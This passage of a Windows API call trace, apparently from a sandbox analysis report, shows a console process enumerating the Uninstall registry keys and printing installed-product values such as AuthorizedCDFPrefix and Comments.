lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.147] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.147] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.148] GetProcessHeap () returned 0x2e0000 [0147.148] GetProcessHeap () returned 0x2e0000 [0147.148] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2ff970) returned 1 [0147.148] GetProcessHeap () returned 0x2e0000 [0147.148] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2ff970) returned 0x7c [0147.148] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2ff970 | out: hHeap=0x2e0000) returned 1 [0147.148] __iob_func () returned 0x7fefd702a80 [0147.148] _fileno (_File=0x7fefd702ab0) returned 1 [0147.148] _errno () returned 0xc4bb0 [0147.148] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.148] _errno () returned 0xc4bb0 [0147.148] GetFileType (hFile=0x50) returned 0x1 [0147.148] lstrlenW (lpString="\n") returned 1 [0147.148] GetConsoleOutputCP () returned 0x1b5 [0147.148] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.148] GetConsoleOutputCP () returned 0x1b5 [0147.148] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.148] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.148] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.148] GetProcessHeap () returned 0x2e0000 [0147.148] GetProcessHeap () returned 0x2e0000 [0147.148] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5bc0) returned 1 [0147.148] GetProcessHeap () returned 0x2e0000 [0147.148] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f5bc0) returned 0x28 [0147.148] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5bc0 | out: hHeap=0x2e0000) returned 1 [0147.148] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x23f784, lpcbMaxSubKeyLen=0x23f780, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x23f784*=0x0, lpcbMaxSubKeyLen=0x23f780, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0147.149] GetProcessHeap () returned 0x2e0000 [0147.149] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x2) returned 0x2fcda0 [0147.149] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}") returned 109 [0147.149] GetProcessHeap () returned 0x2e0000 [0147.149] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0xde) returned 0x2ff9a0 [0147.149] GetProcessHeap () returned 0x2e0000 [0147.149] GetProcessHeap () returned 0x2e0000 [0147.149] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.149] GetProcessHeap () returned 0x2e0000 [0147.149] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x2 [0147.149] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.149] GetProcessHeap () returned 0x2e0000 [0147.149] GetProcessHeap () returned 0x2e0000 [0147.149] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2ff9a0) returned 1 [0147.149] GetProcessHeap () returned 0x2e0000 [0147.149] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2ff9a0) returned 0xde [0147.149] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2ff9a0 | out: hHeap=0x2e0000) returned 1 [0147.149] RegCloseKey (hKey=0x5c) returned 0x0 [0147.149] RegEnumKeyExW (in: hKey=0x58, dwIndex=0x12, lpName=0x2fbb50, lpcchName=0x23f864, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{37B8F9C7-03FB-3253-8781-2517C99D7C00}", lpcchName=0x23f864, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0147.149] __iob_func () returned 0x7fefd702a80 [0147.149] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.149] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%s\n", _ArgList=0x23f800 | out: _Buffer="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}\n") returned 110 [0147.149] _fileno (_File=0x7fefd702ab0) returned 1 [0147.149] _errno () returned 0xc4bb0 [0147.149] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.149] _errno () returned 0xc4bb0 [0147.149] GetFileType (hFile=0x50) returned 0x1 [0147.149] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}\n") returned 110 [0147.150] GetConsoleOutputCP () returned 0x1b5 [0147.150] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}\n", cchWideChar=110, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 110 [0147.150] GetConsoleOutputCP () returned 0x1b5 [0147.150] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}\n", cchWideChar=110, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}\n", lpUsedDefaultChar=0x0) returned 110 [0147.150] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 110 [0147.150] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.150] RegOpenKeyExW (in: hKey=0x58, lpSubKey="{37B8F9C7-03FB-3253-8781-2517C99D7C00}", ulOptions=0x0, samDesired=0x20019, phkResult=0x23f868 | out: phkResult=0x23f868*=0x5c) returned 0x0 [0147.150] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x23f6d0, lpcbMaxValueNameLen=0x23f720, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x23f6d0*=0x19, lpcbMaxValueNameLen=0x23f720, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0147.150] GetProcessHeap () returned 0x2e0000 [0147.150] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x28) returned 0x2f5bc0 [0147.150] RegEnumValueW (in: hKey=0x5c, dwIndex=0x0, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="AuthorizedCDFPrefix", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.150] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="AuthorizedCDFPrefix", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.150] GetProcessHeap () returned 0x2e0000 [0147.150] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.150] GetProcessHeap () returned 0x2e0000 [0147.150] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.150] GetProcessHeap () returned 0x2e0000 [0147.150] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.150] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="AuthorizedCDFPrefix", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0147.150] __iob_func () returned 0x7fefd702a80 [0147.150] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.150] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.151] _fileno (_File=0x7fefd702ab0) returned 1 [0147.151] _errno () returned 0xc4bb0 [0147.151] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.151] _errno () returned 0xc4bb0 [0147.151] GetFileType (hFile=0x50) returned 0x1 [0147.151] lstrlenW (lpString=" ") returned 4 [0147.151] GetConsoleOutputCP () returned 0x1b5 [0147.151] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.151] GetConsoleOutputCP () returned 0x1b5 [0147.151] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.151] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.151] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.151] lstrlenW (lpString="AuthorizedCDFPrefix") returned 19 [0147.151] __iob_func () returned 0x7fefd702a80 [0147.151] _fileno (_File=0x7fefd702ab0) returned 1 [0147.151] _errno () returned 0xc4bb0 [0147.151] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.151] _errno () returned 0xc4bb0 [0147.151] GetFileType (hFile=0x50) returned 0x1 [0147.151] lstrlenW (lpString="AuthorizedCDFPrefix") returned 19 [0147.151] GetConsoleOutputCP () returned 0x1b5 [0147.151] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="AuthorizedCDFPrefix", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0147.151] GetConsoleOutputCP () returned 0x1b5 [0147.152] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="AuthorizedCDFPrefix", cchWideChar=19, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AuthorizedCDFPrefix", lpUsedDefaultChar=0x0) returned 19 [0147.152] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 19 [0147.152] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.152] __iob_func () returned 0x7fefd702a80 [0147.152] _fileno (_File=0x7fefd702ab0) returned 1 [0147.152] _errno () returned 0xc4bb0 [0147.152] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.152] _errno () returned 0xc4bb0 [0147.152] GetFileType (hFile=0x50) returned 0x1 [0147.152] lstrlenW (lpString=" ") returned 4 [0147.152] GetConsoleOutputCP () returned 0x1b5 [0147.152] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.152] GetConsoleOutputCP () returned 0x1b5 [0147.152] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.152] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.152] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.152] __iob_func () returned 0x7fefd702a80 [0147.152] _fileno (_File=0x7fefd702ab0) returned 1 [0147.152] _errno () returned 0xc4bb0 [0147.152] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.152] _errno () returned 0xc4bb0 [0147.152] GetFileType (hFile=0x50) returned 0x1 [0147.152] lstrlenW (lpString="REG_SZ") returned 6 [0147.152] GetConsoleOutputCP () returned 0x1b5 [0147.153] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.153] GetConsoleOutputCP () returned 0x1b5 [0147.153] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.153] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.153] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.153] __iob_func () returned 0x7fefd702a80 [0147.153] _fileno (_File=0x7fefd702ab0) returned 1 [0147.153] _errno () returned 0xc4bb0 [0147.153] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.153] _errno () returned 0xc4bb0 [0147.153] GetFileType (hFile=0x50) returned 0x1 [0147.153] lstrlenW (lpString=" ") returned 4 [0147.153] GetConsoleOutputCP () returned 0x1b5 [0147.153] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.153] GetConsoleOutputCP () returned 0x1b5 [0147.153] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.153] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.153] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.154] __iob_func () returned 0x7fefd702a80 [0147.154] _fileno (_File=0x7fefd702ab0) returned 1 [0147.154] _errno () returned 0xc4bb0 [0147.154] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.154] _errno () returned 0xc4bb0 [0147.154] GetFileType (hFile=0x50) returned 0x1 [0147.154] lstrlenW (lpString="") returned 0 [0147.154] __iob_func () returned 0x7fefd702a80 [0147.154] _fileno (_File=0x7fefd702ab0) returned 1 [0147.154] _errno () returned 0xc4bb0 [0147.154] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.154] _errno () returned 0xc4bb0 [0147.154] GetFileType (hFile=0x50) returned 0x1 [0147.154] lstrlenW (lpString="\n") returned 1 [0147.154] GetConsoleOutputCP () returned 0x1b5 [0147.154] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.154] GetConsoleOutputCP () returned 0x1b5 [0147.154] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.154] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.154] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.154] GetProcessHeap () returned 0x2e0000 [0147.154] GetProcessHeap () returned 0x2e0000 [0147.154] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.154] GetProcessHeap () returned 0x2e0000 [0147.154] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.154] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.154] RegEnumValueW (in: hKey=0x5c, dwIndex=0x1, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Comments", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.155] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Comments", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x9c) returned 0x0 [0147.155] GetProcessHeap () returned 0x2e0000 [0147.155] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x9e) returned 0x301970 [0147.155] GetProcessHeap () returned 0x2e0000 [0147.155] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x301970) returned 1 [0147.155] GetProcessHeap () returned 0x2e0000 [0147.155] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x301970) returned 0x9e [0147.155] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Comments", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x301970, pcbData=0x23f670*=0x9c | out: pdwType=0x23f5f0*=0x1, pvData="Caution. Removing this product might prevent some applications from running.", pcbData=0x23f670*=0x9a) returned 0x0 [0147.155] __iob_func () returned 0x7fefd702a80 [0147.155] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.155] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.155] _fileno (_File=0x7fefd702ab0) returned 1 [0147.155] _errno () returned 0xc4bb0 [0147.155] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.155] _errno () returned 0xc4bb0 [0147.155] GetFileType (hFile=0x50) returned 0x1 [0147.155] lstrlenW (lpString=" ") returned 4 [0147.155] GetConsoleOutputCP () returned 0x1b5 [0147.155] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.155] GetConsoleOutputCP () returned 0x1b5 [0147.155] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.155] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.155] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.155] lstrlenW (lpString="Comments") returned 8 [0147.155] __iob_func () returned 0x7fefd702a80 [0147.155] _fileno (_File=0x7fefd702ab0) returned 1 [0147.156] _errno () returned 0xc4bb0 [0147.156] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.156] _errno () returned 0xc4bb0 [0147.156] GetFileType (hFile=0x50) returned 0x1 [0147.156] lstrlenW (lpString="Comments") returned 8 [0147.156] GetConsoleOutputCP () returned 0x1b5 [0147.156] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Comments", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0147.156] GetConsoleOutputCP () returned 0x1b5 [0147.156] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Comments", cchWideChar=8, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Comments", lpUsedDefaultChar=0x0) returned 8 [0147.156] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0147.156] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.156] __iob_func () returned 0x7fefd702a80 [0147.156] _fileno (_File=0x7fefd702ab0) returned 1 [0147.156] _errno () returned 0xc4bb0 [0147.156] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.156] _errno () returned 0xc4bb0 [0147.156] GetFileType (hFile=0x50) returned 0x1 [0147.156] lstrlenW (lpString=" ") returned 4 [0147.156] GetConsoleOutputCP () returned 0x1b5 [0147.156] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.156] GetConsoleOutputCP () returned 0x1b5 [0147.157] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.157] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.157] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.157] __iob_func () returned 0x7fefd702a80 [0147.157] _fileno (_File=0x7fefd702ab0) returned 1 [0147.157] _errno () returned 0xc4bb0 [0147.157] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.157] _errno () returned 0xc4bb0 [0147.157] GetFileType (hFile=0x50) returned 0x1 [0147.157] lstrlenW (lpString="REG_SZ") returned 6 [0147.157] GetConsoleOutputCP () returned 0x1b5 [0147.157] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.157] GetConsoleOutputCP () returned 0x1b5 [0147.157] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.157] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.157] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.157] __iob_func () returned 0x7fefd702a80 [0147.157] _fileno (_File=0x7fefd702ab0) returned 1 [0147.157] _errno () returned 0xc4bb0 [0147.157] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.157] _errno () returned 0xc4bb0 [0147.157] GetFileType (hFile=0x50) returned 0x1 [0147.157] lstrlenW (lpString=" ") returned 4 [0147.157] GetConsoleOutputCP () returned 0x1b5 [0147.158] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.158] GetConsoleOutputCP () returned 0x1b5 [0147.158] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.158] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.158] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.158] __iob_func () returned 0x7fefd702a80 [0147.158] _fileno (_File=0x7fefd702ab0) returned 1 [0147.158] _errno () returned 0xc4bb0 [0147.158] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.158] _errno () returned 0xc4bb0 [0147.158] GetFileType (hFile=0x50) returned 0x1 [0147.158] lstrlenW (lpString="Caution. Removing this product might prevent some applications from running.") returned 76 [0147.158] GetConsoleOutputCP () returned 0x1b5 [0147.158] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Caution. Removing this product might prevent some applications from running.", cchWideChar=76, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 76 [0147.158] GetConsoleOutputCP () returned 0x1b5 [0147.158] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Caution. Removing this product might prevent some applications from running.", cchWideChar=76, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Caution. Removing this product might prevent some applications from running.", lpUsedDefaultChar=0x0) returned 76 [0147.158] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 76 [0147.158] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.158] __iob_func () returned 0x7fefd702a80 [0147.158] _fileno (_File=0x7fefd702ab0) returned 1 [0147.158] _errno () returned 0xc4bb0 [0147.158] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.158] _errno () returned 0xc4bb0 [0147.158] GetFileType (hFile=0x50) returned 0x1 [0147.159] lstrlenW (lpString="\n") returned 1 [0147.159] GetConsoleOutputCP () returned 0x1b5 [0147.159] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.159] GetConsoleOutputCP () returned 0x1b5 [0147.159] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, 